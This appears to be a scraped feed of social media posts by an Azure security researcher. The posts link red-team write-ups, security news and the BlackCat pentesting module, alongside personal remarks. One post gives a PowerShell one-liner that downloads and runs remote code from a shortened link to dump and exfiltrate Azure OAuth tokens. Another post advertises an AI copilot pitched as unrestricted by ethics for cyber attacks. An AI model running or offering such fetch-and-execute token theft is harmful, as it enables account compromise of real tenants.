Rogier Dijkman | MVP

🏴‍☠️ 𝗡𝗲𝘄 𝗣𝗢𝗖: 𝗙𝗲𝗱𝗲𝗿𝗮𝘁𝗲𝗱 𝗜𝗱𝗲𝗻𝘁𝗶𝘁𝘆 𝗖𝗿𝗲𝗱𝗲𝗻𝘁𝗶𝗮𝗹 𝗶𝗻𝗷𝗲𝗰𝘁𝗶𝗼𝗻 This POC shows how you can inject a federated credential on a UAMI, mint a Graph token in less than ~5s without any infrastructure setup! azurehacking.com/post.html?sl...

O-oh llama Exposed - Local models leaked azurehacking.com/post/o-oh-ll...

Azure API Connections: A Red Team Deep Dive azurehacking.com/post/azure-a...

In-flight Wi-Fi security doesn't get much attention, but Delta's captive portal exposes passengers to account takeover, token forgery, and an end-of-life API gateway riddled with unpatched CVEs. We audited it from the comfort of seat 30C. azurehacking.com/post/in-flig...

Azure Tenant Takeover: From Exposed Config to Global Admin azurehacking.com/post/azure-t...

Getting Started with the BlackCat PowerShell Module azurehacking.com/post.html?sl...

Had a great time presenting “Hacking Azure” with #BlackCat at @mc2mc.be. Thank you to @Savaco for providing such an excellent location. I’m finalizing the slides, recording short videos, and updating the walkthrough so attendees can easily revisit the steps demonstrated.

Traveling through Florida for three weeks this summer. I am getting crazy of all the waivers that needs to be signed everywhere. I wouldn’t be surprised if I need to sign a waiver if you need to fart next time.

That was fun spending of my Sunday afternoon. Working on ways to create persistence in Azure on a place where you wouldn't expect it. If you never look away, you will only see what happens in front of you.

Operating the camera 📷 at the #YellowHat event at @Microsoft

Are you looking for a malcious Copilot that is not restricted to ethics and is willing to be your wingman during cyber attacks? Check app.whiterabbitneo.com

www.crowdstrike.com/en-us/blog/c...

🚨AzTokenDumpr 🚨 I have created a PoC to quickly exfiltrate #Microsoft #Azure oAuth Tokens from PowerShell. no installation required! run: PS> iex (irm bit.ly/blct-token)

github.blog/changelog/20...

In this article, we will walk through a solution that leverages GitHub Actions to automate the process of adding new members to a GitHub organization.

The Clone2Leak vulnerability involves the improper handling of messages in the Git Credential Protocol within GitHub Desktop and Git Credential Manager. This means that an attacker could potentially gain access to your Git credentials, posing a significant security flatt.tech/research/pos...

In this article, I'm excited to introduce a project I've been working on to securely share secrets using only Azure resources. rogierdijkman.medium.com/self-hosted-...

🚨 ANNOUNCEMENT🚨 I'm excited to announce the start of the "GitHub Lowlands" user group! 🤩 This is going to be awesome for connecting with others and stay up-date on everything about GitHub. @github.com @arthurvandijk.bsky.social #github #copilot #community

🚨 New Blog Alert! 🚨 In this article, I delve into the recent brute force campaign leveraging the 'fasthttp library' to target Azure Active Directory (AAD) accounts. Learn how to detect these attacks using Kusto Query Language (KQL) in Microsoft Defender

www.speartip.com/fasthttp-use... **Monitor Logs**: Regularly inspect audit logs for FastHTTP user agents to detect suspicious activity.

🚨 **Patch Alert!** 🚨 Microsoft’s January 2025 Patch Tuesday is here, and it’s packed with security updates! 🛡️ 👉 Check out the full scoop here: [Microsoft January 2025 Patch Tuesday](www.cyberkendra.com/2025/01/micr...) 🚀 #CyberSecurity #WindowsUpdate Ready to dive into the details? 💻🔧🔍

Having fun with Microsoft Azure Working on a fun little PoC project to securely share a password or secret and destroy it after it has been fetched. Using a FunctionApp and KeyVault

I have created a nice little script as bart of project #blackcat to quickly dump all Azure #oAuth tokens based on the current context and export them to a file for exfiltration purposes. github.com/azurekid/bla...

coinbase.com/join/JCCM3ER...

WoW, this is awesome! GitHub Copilot now offers a free tier github.com/login?return...

Kali Linux 2024.4 released with 14 new tools, deprecates some features www.kali.org/blog/kali-li... #Security

posts.specterops.io/unwrapping-b...

Researchers cracked a Microsoft Azure method for multifactor authentication (MFA) in about an hour www.oasis.security/resources/bl... #Microsoft #Security #MFA

Whoop! Patch Tuesday had some interesting stuff. What was keeping you awake? www.darkreading.com/application-...

thehackernews.com/2024/12/crit...

In today's "Learn to Red Team AI Systems using PyRIT" using PyRIT to find high-quality bugs in generative AI systems. If you missed the live session, you can watch the recording here: youtu.be/jq9DcEL3cHE?... ▶️PyRIT: github.com/Azure/PyRIT

www.microsoftrnd.co.il/bluehatil/co...

blog.fndsec.net/2024/11/25/s... #Security #PowerShell #Identity

Cross-IdP impersonation: Hijacking SSO to access downstream apps pushsecurity.com/blog/cross-i...

Having fun with putting payloads in a TXT records to trigger ASCII Art in the terminal. Next will be some ANSI Escape code magic and tampering with Azure DNS. #security

Working this weekend on my Azure pentesting PowerShell Module #BlackCat If you have any suggestions or would like to contribute, sent me a PM 🏴

NTLM Privilege Escalation: The Unpatched Microsoft Vulnerabilities No One is Talking About #EoP #Security #Microsoft blog.morphisec.com/5-ntlm-vulne...

www.bleepingcomputer.com/news/securit... #security #bluesky

A comprehensive collection of publicly disclosed exploits for Local Privilege Escalation (LPE) vulnerabilities affecting Microsoft Windows operating systems github.com/MzHmO/Exploi... #Microsoft #Security #Vulnerability #EoP

We’re only a few clicks away before Microsoft Ignite, where the brightest minds come together to innovate, inspire, and ignite the future! 🔥 Don’t miss out on this opportunity to learn from industry leaders, explore technology, and connect with a global community of tech enthusiasts.

newtonpaul.com/tunneling-c2...

Microsoft BlueHat recordings! It has really great content 🔥 youtube.com/playlist?lis...

perception-point.io/blog/phishin... #security #microsoft

Now we can start building advanced detections based on the Security Copilot Audit logs. But also create loops 🤔 bit.ly/4ejNqoz #security #copilot

xybytes.com/azure/Azure-...

cloudtips.nl/maester-micr...

www.cyberkendra.com/2024/11/micr...

cyble.com/blog/it-vuln... #security #vulnerability @fortinet.bsky.social @grafana.bsky.social

Microsoft has published this blog on how covert networks are used in attacks, with the goal of increasing awareness, improving defenses, and disrupting related activity against our customers. www.microsoft.com/en-us/securi...

Exchange Online Inbound DANE with DNSSEC is now Public Available 🥳 🎉 techcommunity.microsoft.com/t5/exchange-...